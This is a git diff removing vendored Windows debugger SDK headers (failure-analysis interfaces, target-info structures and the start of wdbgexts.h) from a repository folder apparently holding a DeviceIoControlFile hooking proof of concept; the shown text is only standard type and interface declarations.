- DEBUG_FLR_AUTOBUG_OS_NAME, // OS Name
- DEBUG_FLR_AUTOBUG_OS_NAME_EDITION, // Complete OS Name along with edition
- DEBUG_FLR_AUTOBUG_OS_PLATFORM_TYPE, // OS type - x86 / x64 / ia64
- DEBUG_FLR_AUTOBUG_OSSERVICEPACK_NUMBER, // This is service pack number
- DEBUG_FLR_AUTOBUG_OS_LOCALE, // OS locale string such as en-us
- DEBUG_FLR_AUTOBUG_BUILDDATESTAMP, // The time date stamp value for kernel
- DEBUG_FLR_AUTOBUG_USER_LCID_STR,
-#endif
-
-
- // Culprit module
- DEBUG_FLR_FAULTING_IP = 0x80000000, // Instruction where failure occurred
- DEBUG_FLR_FAULTING_MODULE,
- DEBUG_FLR_IMAGE_TIMESTAMP,
- DEBUG_FLR_FOLLOWUP_IP,
- DEBUG_FLR_FRAME_ONE_INVALID,
- DEBUG_FLR_SYMBOL_FROM_RAW_STACK_ADDRESS,
-
- // custom analysis plugin tags
- DEBUG_FLR_CUSTOM_ANALYSIS_TAG_MIN = 0xA0000000,
- DEBUG_FLR_CUSTOM_ANALYSIS_TAG_MAX = 0xB0000000,
-
- // To get faulting stack
- DEBUG_FLR_FAULTING_THREAD = 0xc0000000,
- DEBUG_FLR_CONTEXT,
- DEBUG_FLR_TRAP_FRAME,
- DEBUG_FLR_TSS,
- DEBUG_FLR_BLOCKING_THREAD, // Thread which is blocking others to execute by holding locks/critsec
- DEBUG_FLR_UNRESPONSIVE_UI_THREAD,
- DEBUG_FLR_BLOCKED_THREAD0, // Threads blocked / waiting for some event / crit section
- DEBUG_FLR_BLOCKED_THREAD1,
- DEBUG_FLR_BLOCKED_THREAD2,
- DEBUG_FLR_BLOCKING_PROCESSID, // process id of processes which is blocking execution
- DEBUG_FLR_PROCESSOR_ID, // CPU where the fault is
- DEBUG_FLR_MASK_ALL = 0xFFFFFFFF
-
-} DEBUG_FLR_PARAM_TYPE;
-
-typedef struct _DBG_THREAD_ATTRIBUTES
-{
- ULONG ThreadIndex;
- ULONG64 ProcessID;
- ULONG64 ThreadID;
- ULONG64 AttributeBits;
-
-/*
- bHas_StringData 0x0001
- bBlockedOnPID 0x0002
- bBlockedOnTID 0x0004
- bHas_CritSecAddress 0x0008
- bHas_timeout 0x0010
- m_szSymName[0] 0x0020
-*/
- ULONG BoolBits;
- ULONG64 BlockedOnPID;
- ULONG64 BlockedOnTID;
- ULONG64 CritSecAddress;
- ULONG Timeout_msec;
- char StringData[100];
- char SymName[100];
-} DBG_THREAD_ATTRIBUTES, *PDBG_THREAD_ATTRIBUTES;
-
-//----------------------------------------------------------------------------
-//
-// A failure analysis is a dynamic buffer of tagged blobs. Values
-// are accessed through the Get/Set methods.
-//
-// Entries are always fully aligned.
-//
-// Set methods throw E_OUTOFMEMORY exceptions when the data
-// buffer cannot be extended.
-//
-//----------------------------------------------------------------------------
-
-typedef DEBUG_FLR_PARAM_TYPE FA_TAG;
-
-//
-// This is set in IDebugFAEntryTags Tag Type to determine
-// type of value contained in entry
-//
-typedef enum _FA_ENTRY_TYPE
-{
- // Undefined entry, this may be used for
- // FA_TAGs whose values do not have any significance
- DEBUG_FA_ENTRY_NO_TYPE,
- // FA_ENTRY is of ULONG type
- DEBUG_FA_ENTRY_ULONG,
- // FA_ENTRY is of ULONG64 type
- DEBUG_FA_ENTRY_ULONG64,
- // FA_ENTRY is offset in instruction stream
- DEBUG_FA_ENTRY_INSTRUCTION_OFFSET,
- // FA_ENTRY is a (ULONG64 sign-extended) pointer value
- DEBUG_FA_ENTRY_POINTER,
- // FA_ENTRY is null terminated char array
- // DataSize is size of string including null terminator
- DEBUG_FA_ENTRY_ANSI_STRING,
- // FA_ENTRY is an array of strings, each of the string
- // is null terminated char array.
- // DataSize is sum size of all string including null terminator
- DEBUG_FA_ENTRY_ANSI_STRINGs,
- // FA_ENTRY is a link to an extension command. !analyze -v
- // would run the command when showing the entry value
- // The Entry contains extension command string.
- DEBUG_FA_ENTRY_EXTENSION_CMD,
- // FA_ENTRY is a link is structured analysis data
- // The Entry contains pointer to PDEBUG_FAILURE_ANALYSIS2 object.
- DEBUG_FA_ENTRY_STRUCTURED_DATA,
- // FA_ENTRY is null terminated unicode char array
- // DataSize is size of unicode string including null terminator
- DEBUG_FA_ENTRY_UNICODE_STRING,
- // Bit flag modifier for any of the basic type
- // (ULONG/POINTER/INSTRUCTION_OFFSET). FA_ENTRY is an
- // array of any basic type other than string. DataSize
- // member of the Entry can be used to determine array length.
- DEBUG_FA_ENTRY_ARRAY = 0x8000,
-} FA_ENTRY_TYPE;
-
-#undef INTERFACE
-#define INTERFACE IDebugFAEntryTags
-DECLARE_INTERFACE(IDebugFAEntryTags)
-{
- // Looksup Type associated for the failure tag
- STDMETHOD_(FA_ENTRY_TYPE, GetType)(
- THIS_
- __in FA_TAG Tag
- ) PURE;
-
- // Sets Type associated for the failure tag
- STDMETHOD(SetType)(
- THIS_
- __in FA_TAG Tag,
- __in FA_ENTRY_TYPE EntryType
- ) PURE;
-
- // Looksup description and name for the failure tag
- STDMETHOD(GetProperties)(
- THIS_
- __in FA_TAG Tag,
- __out_bcount_opt(NameSize) PSTR Name,
- __inout_opt PULONG NameSize,
- __out_bcount_opt(DescSize) PSTR Description,
- __inout_opt PULONG DescSize,
- __out_opt PULONG Flags
- ) PURE;
-
- // Sets description and name for the failure tag
- // If the given tag already had these defined, this will overwrite
- // previous definition(s)
- STDMETHOD(SetProperties)(
- THIS_
- __in FA_TAG Tag,
- __in_opt PCSTR Name,
- __in_opt PCSTR Description,
- __in_opt ULONG Flags
- ) PURE;
-
- // This looks up default analysis tag or plugin's registered tag
- // by its name
- STDMETHOD(GetTagByName)(
- THIS_
- __in PCSTR PluginId,
- __in PCSTR TagName,
- __out FA_TAG* Tag
- ) PURE;
-
- // This allows extensions to check if a given failure
- // tag value can be set. This would return true for all
- // tags that were allocated via AllocateTagRange or
- // the predefined tag values in this header file
- STDMETHOD_(BOOL, IsValidTagToSet)(
- THIS_
- __in FA_TAG Tag
- ) PURE;
-};
-
-typedef struct _FA_ENTRY
-{
- FA_TAG Tag;
- USHORT FullSize;
- USHORT DataSize;
-} FA_ENTRY, *PFA_ENTRY;
-
-#define FA_ENTRY_DATA(Type, Entry) ((Type)((Entry) + 1))
-
-/* ed0de363-451f-4943-820c-62dccdfa7e6d */
-DEFINE_GUID(IID_IDebugFailureAnalysis, 0xed0de363, 0x451f, 0x4943,
- 0x82, 0x0c, 0x62, 0xdc, 0xcd, 0xfa, 0x7e, 0x6d);
-
-typedef interface DECLSPEC_UUID("ed0de363-451f-4943-820c-62dccdfa7e6d")
- IDebugFailureAnalysis* PDEBUG_FAILURE_ANALYSIS;
-
-#undef INTERFACE
-#define INTERFACE IDebugFailureAnalysis
-DECLARE_INTERFACE_(IDebugFailureAnalysis, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- IN REFIID InterfaceId,
- OUT PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugFailureAnalysis.
- STDMETHOD_(ULONG, GetFailureClass)(
- THIS
- ) PURE;
- STDMETHOD_(DEBUG_FAILURE_TYPE, GetFailureType)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, GetFailureCode)(
- THIS
- ) PURE;
- STDMETHOD_(PFA_ENTRY, Get)(
- THIS_
- FA_TAG Tag
- ) PURE;
- STDMETHOD_(PFA_ENTRY, GetNext)(
- THIS_
- PFA_ENTRY Entry,
- FA_TAG Tag,
- FA_TAG TagMask
- ) PURE;
- STDMETHOD_(PFA_ENTRY, GetString)(
- THIS_
- FA_TAG Tag,
- __out_bcount(MaxSize) PSTR Str,
- ULONG MaxSize
- ) PURE;
- STDMETHOD_(PFA_ENTRY, GetBuffer)(
- THIS_
- FA_TAG Tag,
- __out_bcount(Size) PVOID Buf,
- ULONG Size
- ) PURE;
- STDMETHOD_(PFA_ENTRY, GetUlong)(
- THIS_
- FA_TAG Tag,
- __out PULONG Value
- ) PURE;
- STDMETHOD_(PFA_ENTRY, GetUlong64)(
- THIS_
- FA_TAG Tag,
- __out PULONG64 Value
- ) PURE;
- STDMETHOD_(PFA_ENTRY, NextEntry)(
- THIS_
- __in_opt PFA_ENTRY Entry
- ) PURE;
-};
-
-/* ea15c288-8226-4b70-acf6-0be6b189e3ad */
-DEFINE_GUID(IID_IDebugFailureAnalysis2, 0xea15c288, 0x8226, 0x4b70,
- 0xac, 0xf6, 0x0b, 0xe6, 0xb1, 0x89, 0xe3, 0xad);
-
-
-typedef interface DECLSPEC_UUID("ea15c288-8226-4b70-acf6-0be6b189e3ad")
- IDebugFailureAnalysis2* PDEBUG_FAILURE_ANALYSIS2;
-
-//
-// Interface to query analysis data
-//
-#undef INTERFACE
-#define INTERFACE IDebugFailureAnalysis2
-DECLARE_INTERFACE_(IDebugFailureAnalysis2, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- IN REFIID InterfaceId,
- OUT PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugFailureAnalysis2.
-
- // Target class for the given failure
- STDMETHOD_(ULONG, GetFailureClass)(
- THIS
- ) PURE;
- // Type of failure being analyzed
- STDMETHOD_(DEBUG_FAILURE_TYPE, GetFailureType)(
- THIS
- ) PURE;
- // Failure code: Bugcheck code for kernel mode,
- // exception code for user mode
- STDMETHOD_(ULONG, GetFailureCode)(
- THIS
- ) PURE;
- // Lookup FA_ENTRY by tag
- // Returns NULL if tag is not found
- STDMETHOD_(PFA_ENTRY, Get)(
- THIS_
- __in FA_TAG Tag
- ) PURE;
- // Looks up next FA_ENTRY after the given 'Entry' by
- // matching with Tag & and TagMask
- // Returns NULL if tag is not found
- STDMETHOD_(PFA_ENTRY, GetNext)(
- THIS_
- __in PFA_ENTRY Entry,
- __in FA_TAG Tag,
- __in FA_TAG TagMask
- ) PURE;
- // Looksup FA_ENTRY by tag and copies its string value
- // Returns NULL if tag is not found
- STDMETHOD_(PFA_ENTRY, GetString)(
- THIS_
- __in FA_TAG Tag,
- __out_ecount(MaxSize) PSTR Str,
- __in ULONG MaxSize
- ) PURE;
- // Looksup FA_ENTRY by tag and copies its data value
- // Returns NULL if tag is not found
- STDMETHOD_(PFA_ENTRY, GetBuffer)(
- THIS_
- __in FA_TAG Tag,
- __out_bcount(Size) PVOID Buf,
- __in ULONG Size
- ) PURE;
- // Looksup FA_ENTRY by tag and copies its ULONG value
- // Returns NULL if tag is not found
- STDMETHOD_(PFA_ENTRY, GetUlong)(
- THIS_
- __in FA_TAG Tag,
- __out PULONG Value
- ) PURE;
- // Looksup FA_ENTRY by tag and copies its ULONG64 value
- // Returns NULL if tag is not found
- STDMETHOD_(PFA_ENTRY, GetUlong64)(
- THIS_
- __in FA_TAG Tag,
- __out PULONG64 Value
- ) PURE;
- // Looks up next FA_ENTRY after the given 'Entry'
- // Returns NULL if tag is not found
- STDMETHOD_(PFA_ENTRY, NextEntry)(
- THIS_
- __in_opt PFA_ENTRY Entry
- ) PURE;
- // Sets the given String for corresponding tag
- // It overwrites the value if tag is already
- // present.
- STDMETHOD_(PFA_ENTRY, SetString)(
- THIS_
- FA_TAG Tag,
- __nullterminated PCSTR Str
- ) PURE;
- // Sets the given extension command and its
- // argument for corresponding tag
- // It overwrites the value if tag is already
- // present.
- STDMETHOD_(PFA_ENTRY, SetExtensionCommand)(
- THIS_
- FA_TAG Tag,
- __nullterminated PCSTR Extension
- ) PURE;
- // Sets the given ULONG value for corresponding tag
- // It overwrites the value if tag is already
- // present.
- STDMETHOD_(PFA_ENTRY, SetUlong)(
- THIS_
- FA_TAG Tag,
- __in ULONG Value
- ) PURE;
- // Sets the given ULONG64 value for corresponding tag
- // It overwrites the value if tag is already
- // present.
- STDMETHOD_(PFA_ENTRY, SetUlong64)(
- THIS_
- FA_TAG Tag,
- __in ULONG64 Value
- ) PURE;
- // Sets the given Buffer value for corresponding tag
- // It overwrites the value if tag is already
- // present.
- STDMETHOD_(PFA_ENTRY, SetBuffer)(
- THIS_
- FA_TAG Tag,
- __in FA_ENTRY_TYPE EntryType,
- __in_bcount(Size) PVOID Buf,
- __in ULONG Size
- ) PURE;
- // Sets the given String for corresponding tag
- // It adds a new entry the value if tag is already
- // present.
- STDMETHOD_(PFA_ENTRY, AddString)(
- THIS_
- FA_TAG Tag,
- __nullterminated PSTR Str
- ) PURE;
- // Sets the given extension command and its
- // argument for corresponding tag in a new entry
- STDMETHOD_(PFA_ENTRY, AddExtensionCommand)(
- THIS_
- FA_TAG Tag,
- __nullterminated PSTR Extension
- ) PURE;
- // Sets the given ULONG value for corresponding tag
- // in a new entry
- STDMETHOD_(PFA_ENTRY, AddUlong)(
- THIS_
- FA_TAG Tag,
- __in ULONG Value
- ) PURE;
- // Sets the given ULONG64 value for corresponding tag
- // in a new entry
- STDMETHOD_(PFA_ENTRY, AddUlong64)(
- THIS_
- FA_TAG Tag,
- __in ULONG64 Value
- ) PURE;
- // Sets the given Buffer value for corresponding tag
- // in a new entry
- STDMETHOD_(PFA_ENTRY, AddBuffer)(
- THIS_
- FA_TAG Tag,
- __in FA_ENTRY_TYPE EntryType,
- __in_bcount(Size) PVOID Buf,
- __in ULONG Size
- ) PURE;
- // Get the interface to query and set meta-data about
- // failure analysis tags
- STDMETHOD(GetDebugFATagControl)(
- THIS_
- __out IDebugFAEntryTags** FATagControl
- ) PURE;
- // Generates and returns XML fragment from analysis data
- STDMETHOD(GetAnalysisXml)(
- THIS_
-// Do not force clients to unnecessarily include msxml, use IUnknown if its not included
-#ifdef __IXMLDOMElement_FWD_DEFINED__
- __out IXMLDOMElement** pAnalysisXml
-#else
- __out IUnknown** pAnalysisXml
-#endif
- ) PURE;
-};
-
-//
-// Analysis control flags
-//
-// Analyzer doesn't lookup database for information about failure
-#define FAILURE_ANALYSIS_NO_DB_LOOKUP 0x0001
-// Produces verbose analysis output
-#define FAILURE_ANALYSIS_VERBOSE 0x0002
-// Assumes target is hung when doing analysis
-#define FAILURE_ANALYSIS_ASSUME_HANG 0x0004
-// Ignores manual breakin state and continues forward with analysis
-#define FAILURE_ANALYSIS_IGNORE_BREAKIN 0x0008
-// Sets the analysis failure context after finishing up analysis
-#define FAILURE_ANALYSIS_SET_FAILURE_CONTEXT 0x0010
-// Analyze the exception as if it were a hang
-#define FAILURE_ANALYSIS_EXCEPTION_AS_HANG 0x0020
-// Support Autobug processing
-#define FAILURE_ANALYSIS_AUTOBUG_PROCESSING 0x0040
-// Produces xml analysis output
-#define FAILURE_ANALYSIS_XML_OUTPUT 0x0080
-// produces XML representations of callstacks
-#define FAILURE_ANALYSIS_CALLSTACK_XML 0x0100
-// Adds cabbed registry data to analysis tags
-#define FAILURE_ANALYSIS_REGISTRY_DATA 0x0200
-// Adds cabbed WMI query data to analysis tags
-#define FAILURE_ANALYSIS_WMI_QUERY_DATA 0x0400
-// Adds user analysis attribute list as analysis data
-#define FAILURE_ANALYSIS_USER_ATTRIBUTES 0x0800
-// produces XML listing of loaded and unloaded modules
-#define FAILURE_ANALYSIS_MODULE_INFO_XML 0x1000
-// skip image corruption analysis
-#define FAILURE_ANALYSIS_NO_IMAGE_CORRUPTION 0x2000
-// Automatically sets symbol and image path if no symbols are currently available
-#define FAILURE_ANALYSIS_AUTOSET_SYMPATH 0x4000
-// All Attributes to XML
-#define FAILURE_ANALYSIS_USER_ATTRIBUTES_ALL 0x8000
-//interlace stack frames with attributes for xml
-#define FAILURE_ANALYSIS_USER_ATTRIBUTES_FRAMES 0x10000
-// analyze multiple targets if available
-#define FAILURE_ANALYSIS_MULTI_TARGET 0x20000
-
-
-// GetFailureAnalysis Extension function, deprecarted
-typedef HRESULT
-(WINAPI* EXT_GET_FAILURE_ANALYSIS)(
- IN PDEBUG_CLIENT4 Client,
- IN ULONG Flags,
- OUT PDEBUG_FAILURE_ANALYSIS* Analysis
- );
-
-//
-// Function signature for GetDebugFailureAnalysis extension-function
-// from ext.dll.
-// This analyzes failure state of current target and returns
-// analysis results in Analysis object
-//
-typedef HRESULT
-(WINAPI* EXT_GET_DEBUG_FAILURE_ANALYSIS)(
- __in PDEBUG_CLIENT4 Client,
- __in ULONG Flags,
- __in CLSID pIIdFailureAnalysis, // must be IID_IDebugFailureAnalysis2
- __out PDEBUG_FAILURE_ANALYSIS2* Analysis
- );
-
-//
-// This determines the analysis phase during which a registered
-// analysis-plugin is invoked. The extensions can register their
-// plugin along with one or more of these flags to control the
-// time when the plugin gets called.
-//
-typedef enum _FA_EXTENSION_PLUGIN_PHASE
-{
- // Extension plugin is invoked after the primary data such as
- // exception record (for user mode) / bugcheck code (for kernel
- // mode) is initialized
- FA_PLUGIN_INITILIZATION = 0x0001,
- // Extension plugin is invoked after the stack is analyzed and
- // the analysis has the information about faulting symbol and
- // module if it were available on stack
- FA_PLUGIN_STACK_ANALYSIS = 0x0002,
- // Extension plugin is invoked just before generating bucket.
- FA_PLUGIN_PRE_BUCKETING = 0x0004,
- // Extension plugin is invoked just after generating bucket.
- FA_PLUGIN_POST_BUCKETING = 0x0008,
-} FA_EXTENSION_PLUGIN_PHASE;
-
-//
-// Function signature for custom analyzer entry point in a
-// registered analysis-plugin dll.
-//
-typedef HRESULT
-(WINAPI* EXT_ANALYSIS_PLUGIN)(
- __in PDEBUG_CLIENT4 Client,
- __in FA_EXTENSION_PLUGIN_PHASE CallPhase,
- __in PDEBUG_FAILURE_ANALYSIS2 pAnalysis
- );
-
-typedef HRESULT
-(WINAPI* EXT_GET_FA_ENTRIES_DATA)(
- IN PDEBUG_CLIENT4 Client,
- IN PULONG Count,
- OUT PFA_ENTRY* Entries
- );
-
-//
-// Typedef for extension function GetManagedObjectName in sos.dll
-//
-typedef HRESULT
-(WINAPI* EXT_GET_MANAGED_OBJECTNAME)(
- PDEBUG_CLIENT Client,
- ULONG64 objAddr,
- PSTR szName,
- ULONG cbName
- );
-
-//
-// Typedef for extension function GetManagedObjectFieldInfo in sos.dll
-//
-typedef HRESULT
-(WINAPI* EXT_GET_MANAGED_OBJECT_FIELDINFO)(
- PDEBUG_CLIENT Client,
- ULONG64 objAddr,
- PSTR szFieldName,
- PULONG64 pValue,
- PULONG pOffset
- );
-
-//
-// Typedef for extension function GetManagedExcepStack in sos.dll
-//
-typedef HRESULT
-(WINAPI* EXT_GET_MANAGED_EXCEPSTACK)(
- PDEBUG_CLIENT Client,
- ULONG64 StackObjAddr,
- PSTR szStackString,
- ULONG cbString
- );
-
-//
-// Typedef for extension function StackTrace in sos.dll
-//
-typedef HRESULT
-(WINAPI* EXT_GET_MANAGED_STACKTRACE)(
- PDEBUG_CLIENT Client,
- WCHAR wszTextOut[],
- size_t *puiTextLength,
- LPVOID pTransitionContexts,
- size_t *puiTransitionContextCount,
- size_t uiSizeOfContext,
- ULONG Flags);
-
-
-/*****************************************************************************
- Target info
- *****************************************************************************/
-typedef enum _OS_TYPE {
- WIN_95,
- WIN_98,
- WIN_ME,
- WIN_NT4,
- WIN_NT5,
- WIN_NT5_1,
- WIN_NT5_2,
- WIN_NT6_0,
- WIN_NT6_1,
- NUM_WIN,
-} OS_TYPE;
-
-
-//
-// Info about OS installed
-//
-typedef struct _OS_INFO {
- ULONG MajorVer; // Os major version
- ULONG MinorVer; // Os minor version
- ULONG Build; // Os build number
- ULONG BuildQfe; // Os build QFE number
- ULONG ProductType; // NT, LanMan or Server
- ULONG Suite; // OS flavour - per, SmallBuisness etc.
- ULONG Revision;
- struct {
- ULONG Checked:1; // If its a checked build
- ULONG Pae:1; // True for Pae systems
- ULONG MultiProc:1; // True for multiproc enabled OS
- ULONG Reserved:29;
- } s;
- ULONG SrvPackNumber; // Service pack number of OS
- ULONG ServicePackBuild; // Service pack build
- ULONG Architecture; // Architecture name such as x86, ia64 or x64
- CHAR Name[64]; // Short name of OS
- CHAR FullName[256]; // Full name of OS includeing SP, Suite, product
- CHAR Language[30]; // OS language
- CHAR BuildVersion[64]; // Build version string
- CHAR ServicePackString[64]; // Service pack string
-} OS_INFO, *POS_INFO;
-
-typedef struct _CPU_INFO {
- ULONG Type; // Processor type as in IMAGE_FILE_MACHINE types
- ULONG NumCPUs; // Actual number of Processors
- ULONG CurrentProc; // Current processor
- DEBUG_PROCESSOR_IDENTIFICATION_ALL ProcInfo[CROSS_PLATFORM_MAXIMUM_PROCESSORS];
- ULONG Mhz; // Processor speed (from currentproc.prcb)
-} CPU_INFO, *PCPU_INFO;
-
-#define MAX_STACK_IN_BYTES 4096
-
-typedef struct _TARGET_DEBUG_INFO {
- ULONG SizeOfStruct;
- ULONG64 EntryDate; // Date created
- ULONG DebugeeClass;// Kernel / User mode
- ULONG64 SysUpTime; // System Up time
- ULONG64 AppUpTime; // Application up time
- ULONG64 CrashTime; // Time system / app crashed
- OS_INFO OsInfo; // OS details
- CPU_INFO Cpu; // Processor details
- CHAR DumpFile[MAX_PATH]; // Dump file name if its a dump
-} TARGET_DEBUG_INFO, *PTARGET_DEBUG_INFO;
-
-// GetTargetInfo
-typedef HRESULT
-(WINAPI* EXT_TARGET_INFO)(
- PDEBUG_CLIENT4 Client,
- PTARGET_DEBUG_INFO pTargetInfo
- );
-
-
-typedef struct _DEBUG_DECODE_ERROR {
- ULONG SizeOfStruct; // Must be == sizeof(DEBUG_DECODE_ERROR)
- ULONG Code; // Error code to be decoded
- BOOL TreatAsStatus; // True if code is to be treated as Status
- CHAR Source[64]; // Source from where we got decoded message
- CHAR Message[MAX_PATH]; // Message string for error code
-} DEBUG_DECODE_ERROR, *PDEBUG_DECODE_ERROR;
-
-/*
- Decodes and prints the given error code - DecodeError
-*/
-typedef VOID
-(WINAPI *EXT_DECODE_ERROR)(
- PDEBUG_DECODE_ERROR pDecodeError
- );
-
-//
-// ext.dll: GetTriageFollowupFromSymbol
-//
-// This returns owner info from a given symbol name
-//
-typedef struct _DEBUG_TRIAGE_FOLLOWUP_INFO {
- ULONG SizeOfStruct; // Must be == sizeof (DEBUG_TRIAGE_FOLLOWUP_INFO)
- ULONG OwnerNameSize; // Size of allocated buffer
- PCHAR OwnerName; // Followup owner name returned in this
- // Caller should initialize the name buffer
-} DEBUG_TRIAGE_FOLLOWUP_INFO, *PDEBUG_TRIAGE_FOLLOWUP_INFO;
-
-#define TRIAGE_FOLLOWUP_FAIL 0
-#define TRIAGE_FOLLOWUP_IGNORE 1
-#define TRIAGE_FOLLOWUP_DEFAULT 2
-#define TRIAGE_FOLLOWUP_SUCCESS 3
-
-typedef DWORD
-(WINAPI *EXT_TRIAGE_FOLLOWUP)(
- IN PDEBUG_CLIENT4 Client,
- IN PSTR SymbolName,
- OUT PDEBUG_TRIAGE_FOLLOWUP_INFO OwnerInfo
- );
-
-//
-// Struct to receive data from syzdata.XML file cabbed along with the dump
-//
-typedef struct _EXT_CAB_XML_DATA {
- ULONG SizeOfStruct; // Must be == sizeof(_EXT_CAB_XML_DATA)
- PCWSTR XmlObjectTag; // Look for text under this tag
- ULONG NumSubTags; // Number of subtags
- struct _SUBTAGS {
- PCWSTR SubTag; // Look for text under this sub-tag of XmlObjectTag
- PCWSTR MatchPattern; // Match the text with MatchPattern according to MatchType
- PWSTR ReturnText; // Return the matched text in ReturnText, multiple
- // matches are returned in multistring
- ULONG ReturnTextSize; // Size of ReturnText in bytes
- ULONG MatchType:3; // 0: Prefix match, 2: In-text match 1: Suffix match
- ULONG Reserved:29;
- ULONG Reserved2;
- } SubTags[1];
-} EXT_CAB_XML_DATA, *PEXT_CAB_XML_DATA;
-
-typedef HRESULT
-(WINAPI *EXT_XML_DATA)(
- PDEBUG_CLIENT4 Client,
- PEXT_CAB_XML_DATA pXmpData
- );
-
-//
-// Extension function type definition for dlls which want to export analyzer
-// function to be used by !analyze to gather component specific data
-//
-
-#define EXT_ANALYZER_FLAG_MOD 0x00000001
-#define EXT_ANALYZER_FLAG_ID 0x00000002
-
-typedef HRESULT
-(WINAPI *EXT_ANALYZER)(
- __in_opt PDEBUG_CLIENT Client,
- __out_bcount(cbBucketSuffix) PSTR BucketSuffix, // The additional suffix analyzer wants to
- // be added to !analyze BUGCKET_ID to better distinguish this bucket
- __in ULONG cbBucketSuffix, // byte count of BucketSuffix buffer supplied
- __out_bcount(cbDebugText) PSTR DebugText, // The debugging text (optional) which !analyze
- // should print out to help people debugging this failure
- __in ULONG cbDebugText, // byte count of DebugText buffer supplied
- __in PULONG Flags, // Flags that contorl the bucketing
- __in PDEBUG_FAILURE_ANALYSIS pAnalysis // Data for current analysis
- );
-
-//
-// Data queried about processor, returned as part of analysis tag DEBUG_FLR_PROCESSOR_INFO
-//
-typedef struct _DEBUG_ANALYSIS_PROCESSOR_INFO {
- ULONG SizeOfStruct; // must be == sizeof(DEBUG_ANALYSIS_PROCESSOR_INFO)
- ULONG Model;
- ULONG Family;
- ULONG Stepping;
- ULONG Architecture;
- ULONG Revision;
- ULONG CurrentClockSpeed;
- ULONG CurrentVoltage;
- ULONG MaxClockSpeed;
- ULONG ProcessorType;
- CHAR DeviceID[32];
- CHAR Manufacturer[64];
- CHAR Name[64];
- CHAR Version[64];
- CHAR Description[64];
-} DEBUG_ANALYSIS_PROCESSOR_INFO, *PDEBUG_ANALYSIS_PROCESSOR_INFO;
-
-
-// Queried target build binary dir, the build dir string is returned in pData
-// pQueryInfo must be null
-#define EXTDLL_DATA_QUERY_BUILD_BINDIR 1
-#define EXTDLL_DATA_QUERY_BUILD_SYMDIR 2
-#define EXTDLL_DATA_QUERY_BUILD_WOW64SYMDIR 3
-#define EXTDLL_DATA_QUERY_BUILD_WOW64BINDIR 4
-
-#define EXTDLL_DATA_QUERY_BUILD_BINDIR_SYMSRV 11
-#define EXTDLL_DATA_QUERY_BUILD_SYMDIR_SYMSRV 12
-#define EXTDLL_DATA_QUERY_BUILD_WOW64SYMDIR_SYMSRV 13
-#define EXTDLL_DATA_QUERY_BUILD_WOW64BINDIR_SYMSRV 14
-
-//
-// Extension function ExtDllQueryDataByTag exported by ext.dll to query
-// various data values. The alowd tags values are defined above
-//
-typedef HRESULT
-(WINAPI *EXTDLL_QUERYDATABYTAG)(
- __in PDEBUG_CLIENT4 Client,
- __in ULONG dwDataTag,
- __in PVOID pQueryInfo,
- __out_bcount(cbData) PBYTE pData,
- __in ULONG cbData
- );
-
-#endif // _EXTAPIS_H
-
-
-//
-// Function exported from ntsdexts.dll
-//
-typedef HRESULT
-(WINAPI *EXT_GET_HANDLE_TRACE)(
- PDEBUG_CLIENT Client,
- ULONG TraceType,
- ULONG StartIndex,
- PULONG64 HandleValue,
- PULONG64 StackFunctions,
- ULONG StackTraceSize
- );
-
-
-//
-// Functions exported from exts.dll
-//
-
-//
-// GetEnvironmenttVariable - gets environment variable value from the target
-//
-typedef HRESULT
-(WINAPI* EXT_GET_ENVIRONMENT_VARIABLE)(
- ULONG64 Peb, // Peb address where variable resides, 0 for default
- PSTR Variable, // Env Variable name
- PSTR Buffer, // Buffer to receive the value in
- ULONG BufferSize // size of buffer
- );
-
-
-
-
- /*++
-
- Structures defined that are used to pass data
- between ext.dll & wmiTrace.dll debug extensions
-
- --*/
-
-
-
-typedef enum _TANALYZE_RETURN{
- NO_TYPE,
- PROCESS_END,
- EXIT_STATUS,
- DISK_READ_0_BYTES,
- DISK_WRITE,
- NT_STATUS_CODE,
-}TANALYZE_RETURN;
-
-
-typedef struct _CKCL_DATA{
- PVOID NextLogEvent;
- CHAR * TAnalyzeString;
- TANALYZE_RETURN TAnalyzeReturnType;
-}CKCL_DATA, *PCKCL_DATA;
-
-
-typedef struct _CKCL_LISTHEAD{
- PCKCL_DATA LogEventListHead;
- HANDLE Heap;
-}CKCL_LISTHEAD,*PCKCL_LISTHEAD;
-
-
-#endif // _EXTFNS_H
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/wdbgexts.h b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/wdbgexts.h
deleted file mode 100644
index f2b36274..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/wdbgexts.h
+++ /dev/null
@@ -1,2804 +0,0 @@
-/*++
-
-Copyright (c) Microsoft Corporation. All rights reserved.
-
-Module Name:
-
- wdbgexts.h
-
-Abstract:
-
- This file contains the necessary prototypes and data types for a user
- to write a debugger extension DLL. This header file is also included
- by the NT debuggers (WINDBG & KD).
-
- This header file must be included after "windows.h" and "dbghelp.h".
-
- Please see the NT DDK documentation for specific information about
- how to write your own debugger extension DLL.
-
-Environment:
-
- Win32 only.
-
-Revision History:
-
---*/
-
-#ifndef _WDBGEXTS_
-#define _WDBGEXTS_
-
-#if _MSC_VER > 1000
-#pragma once
-#endif
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-#if _MSC_VER >= 1200
-#pragma warning(push)
-#endif
-#pragma warning(disable:4115 4201 4204 4214 4221)
-
-// Maximum value of MAXIMUM_PROCESSORS for all platforms.
-#define CROSS_PLATFORM_MAXIMUM_PROCESSORS 256
-
-#if !defined(WDBGAPI)
-#define WDBGAPI __stdcall
-#endif
-
-#if !defined(WDBGAPIV)
-#define WDBGAPIV __cdecl
-#endif
-
-#ifndef _WINDEF_
-typedef CONST void *LPCVOID;
-#endif
-
-#ifndef _ULONGLONG_
